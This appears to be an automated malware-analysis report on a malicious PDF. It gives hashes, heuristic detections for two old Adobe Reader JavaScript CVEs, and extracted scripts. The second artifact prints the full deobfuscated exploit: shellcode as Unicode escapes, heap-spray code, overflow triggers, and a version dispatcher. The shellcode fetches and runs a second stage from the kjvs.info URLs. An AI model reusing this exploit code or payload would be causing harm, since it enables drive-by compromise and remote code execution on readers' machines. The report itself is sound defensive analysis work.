PDF malware analysis — malicious · 830167e893ac564c

MALICIOUS

PDF

2.4 KB First seen: 2014-05-20

MD5: f35e245d5e0d4bb56d62cb2c5300a61a SHA-1: fec01fd551e377a6b6ff84b11aadb9b0cabe56a6 SHA-256: 830167e893ac564ca477bce0b9e24426cb9364c41d07c50f03866dc086459c18

530 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript that utilizes known vulnerable functions like Collab.collectEmailInfo and util.printf to achieve heap spraying and execute shellcode. This script is designed to download a second-stage payload from the embedded URLs http://kjvs.info/as2/l.php?i=4 and http://kjvs.info/as2/l.php?i=5, indicating a downloader or dropper functionality.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 11

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after nested-decoder de-obfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
JavaScript action low 4 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY

PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> S …

PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ClamAV: Pdf.Exploit.Agent-35930 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-35930
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://kjvs.info/as2/l.php?i=4 Referenced by PDF JavaScript
- http://kjvs.info/as2/l.php?i=5Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj111611_000.js`	pdf-javascript-stream	PDF /JS object 111611 at offset 0x894	697 bytes
SHA-256: `f23e505f155bfa9b9f356fa9fddf8d7fcafcc37fc2df3878e575e72c00c819d4`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script /fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/var b/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/=/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/this.creator;/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/var a/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/=/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/unescape(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/b/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/);/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/eval(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/unescape(/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/this.creator.replace(/z/igm,'%')/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/)/fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh/);
`legacy_pdfkit_stage_000.js`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x189	3878 bytes
SHA-256: `6bd892512ede236655efc97e444b09c7c24495890d018a7887fb5fa08698234b`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var skd='%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070';var skd1=skd+'%u7468%u7074%u2F3A%u6B2F%u766A%u2E73%u6E69%u6F66%u612F%u3273%u6C2F%u702E%u7068%u693F%u343D%u9000';var skd2=skd+'%u7468%u7074%u2F3A%u6B2F%u766A%u2E73%u6E69%u6F66%u612F%u3273%u6C2F%u702E%u7068%u693F%u353D%u9000';function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}function collab(){var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape(skd1);var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape("%u0c0c%u0c0c");while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:"", msg:overflow});}function printf(){nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape(skd2);heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while(bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while(block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);}aPlugins = app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for (var i=0; i < aPlugins.length; i++){if (aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}if (lv==7.1){printf();}else if (((sv==6)\|\|(sv==7))&&(lv<7.11)){collab();}else{}

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PDF

Malware Insights

Machine Learning

Heuristics 11

Related samples 8

Extracted artifacts 2